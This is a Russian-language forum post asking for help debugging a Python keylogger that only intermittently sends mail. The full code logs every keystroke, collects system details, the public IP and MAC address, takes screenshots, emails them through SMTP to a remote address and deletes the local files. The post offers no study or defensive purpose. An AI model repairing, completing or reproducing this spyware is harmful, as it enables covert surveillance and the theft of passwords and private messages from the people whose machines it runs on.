помогите с кодом ,ибо я в этом еще слаб,цель кода записывать все нажатия с клавы и пересылать на почту вместе со скриншотом. Код
то отправляет сообщения ,то нет.
Как это исправить?
то отправляет сообщения ,то нет.
Как это исправить?
Код:
from pynput.keyboard import Key, Listener
import pyautogui
import pynput
import socket
import time
import os
import smtplib, ssl
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from uuid import getnode as mac
from email import encoders
import platform as pf
import requests
import re
count = 0
keys = []
directoire = os.path.expanduser('~') + '/'
def on_press(key):
global keys, count
keys.append(key)
count += 1
if count >= 5:
write_file(keys)
keys = []
count = 0
q()
def write_file(key):
global directoire
filename = str('zxc.txt')
files = directoire + filename
with open(files,'a') as file:
for key in keys:
k = str(key).replace("'","")
if k.find("enter") > 0:
file.write("\n")
if k.find("space") > 0:
file.write(" ")
if k.find("Key") == -1:
file.write(k)
def INFO():
processor = pf.processor()
name_sys = pf.system() + " " + pf.release()
net_pc = pf.node()
global pc_config, directoire
pc_config = f'''
Processor : { processor }\n
System name : { name_sys }\n
Network name : { net_pc }\n
'''
file = open(directoire + 'zxc.txt', "w")
file.write(pc_config)
file.close()
INFO()
def SEND_MAIL():
port = 25
smtp_server = ""
sender_email = ""
receiver_email = ""
password = ""
mac_id = ':'.join(re.findall('..', '%012x' % mac()))
ip_id = requests.get('https://ramziv.com/ip').text
msg = MIMEMultipart()
msg['Subject'] = "Mac adress " + mac_id + "---" + "IP adress " + ip_id
msg['From'] = ''
try:
with open(directoire + 'zxc.txt','r') as fp:
file = MIMEText(fp.read())
except(FileNotFoundError, UnboundLocalError):
pass
img_data = open(directoire + 'screenshot.png' , 'rb').read()
poto = MIMEImage(img_data, 'png')
msg.attach(file)
msg.attach(poto)
context = ssl.create_default_context()
server = smtplib.SMTP(smtp_server, port)
server.starttls(context = context)
server.login(sender_email, password)
server.sendmail(sender_email, receiver_email, msg.as_string())
def connected():
try:
socket.create_connection(("www.google.com",80))
return True
except OSError:
pass
return False
def q():
if __name__ == '__main__':
with Listener(on_press = on_press, ) as listener:
screen = pyautogui.screenshot(directoire + 'screenshot.png')
if connected() == True:
SEND_MAIL()
if connected() == False:
pass
os.remove(directoire + 'screenshot.png')
os.remove(directoire + 'zxc.txt')
listener.join()
q()